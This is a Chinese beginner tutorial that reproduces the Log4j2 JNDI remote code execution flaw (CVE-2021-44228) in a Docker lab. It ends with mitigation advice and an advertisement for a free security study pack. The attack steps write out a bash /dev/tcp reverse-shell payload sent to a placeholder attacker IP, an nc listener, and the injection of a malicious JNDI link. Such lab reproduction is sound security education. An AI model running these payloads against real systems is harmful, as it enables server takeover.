保姆级图文实操｜Log4j2远程代码执行漏洞复现（零基础闭眼冲）

爱吃小石榴16

176人浏览 · 2026-03-27 10:51:23

爱吃小石榴16 · 2026-03-27 10:51:23 发布

在这里插入图片描述

文章导语：Log4j2漏洞堪称近年Java生态最严重漏洞之一，影响范围极广，也是漏洞复现入门必练经典案例。本文全程手把手教学，无需复杂基础，一行命令搭靶场，一步步触发漏洞，新手也能轻松吃透复现全流程，附完整POC与防御方案！

一、漏洞基础科普

漏洞编号：CVE-2021-44228
漏洞等级：超高危
影响范围：Apache Log4j2 2.0-beta9 ≤ 版本 ≤ 2.14.1
漏洞原理：Log4j2的JNDI注入漏洞，攻击者构造恶意请求，触发Log4j2日志打印时解析恶意JNDI链接，加载远程恶意类，最终实现远程代码执行，无需权限即可拿下服务器控制权。

二、靶场环境搭建（Docker一键部署）

新手首选Docker搭建，避免本地环境兼容问题，全程仅需2步：

安装Docker与Docker Compose（已安装可跳过，百度对应系统安装教程，5分钟搞定）
拉取Log4j2漏洞靶场镜像，执行命令：
docker pull vulfocus/log4j2-cve-2021-44228
启动靶场命令：
docker run -d -p 8080:8080 vulfocus/log4j2-cve-2021-44228

启动成功后，访问http://本机IP:8080，出现靶场页面即环境搭建完成。

三、漏洞复现全流程

1. 准备JNDI注入工具

下载JNDI-Injection-Exploit工具（Github直接搜索即可获取），用于生成恶意JNDI链接与反弹Shell载荷。

2. 生成恶意Payload

打开命令行，进入工具目录，执行命令（替换为自己的攻击机IP）：
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 攻击机IP -C "bash -i >& /dev/tcp/攻击机IP/监听端口 0>&1"

执行后会生成rmi://和ldap://开头的恶意链接，复制保留。

3. 攻击机开启监听

新开命令行，执行监听命令：
nc -lvvp 监听端口

4. 触发漏洞

回到靶场页面，在输入框/请求头中插入刚才生成的恶意JNDI链接，提交请求。此时攻击机监听端口会成功接收到反弹Shell，获得服务器控制权，漏洞复现成功。

四、漏洞修复与防御建议

升级Log4j2版本至2.15.0及以上，官方已修复该漏洞
临时缓解：添加JVM启动参数-Dlog4j2.formatMsgNoLookups=true
禁用JNDI功能，限制外部请求解析日志内容

新手小贴士：复现失败优先检查防火墙端口、靶场连通性、Payload格式，别盲目改代码，一步步排查超简单！

学习资源

如果你也是零基础想转行网络安全，却苦于没系统学习路径、不懂核心攻防技能？光靠盲目摸索不仅浪费时间，还消磨自己信心。这份 360 智榜样学习中心独家出版《网络攻防知识库》专为转行党量身打造！

01 内容涵盖

这份资料专门为零基础转行设计，19 大核心模块从 Linux系统、Python 基础、HTTP协议等地基知识到 Web 渗透、代码审计、CTF 实战层层递进，攻防结合的讲解方式让新手轻松上手，真实实战案例 + 落地脚本直接对标企业岗位需求，帮你快速搭建转行核心技能体系！

这份完整版的网络安全学习资料已经上传CSDN【保证100%免费】

**读者福利 |** [CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 ]

02 知识库价值

深度：本知识库超越常规工具手册，深入剖析攻击技术的底层原理与高级防御策略，并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等，提供了独到的技术视角和实战验证过的对抗方案。
广度：面向企业安全建设的核心场景（渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营），本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点，是应对复杂攻防挑战的实用指南。
实战性：知识库内容源于真实攻防对抗和大型演练实践，通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。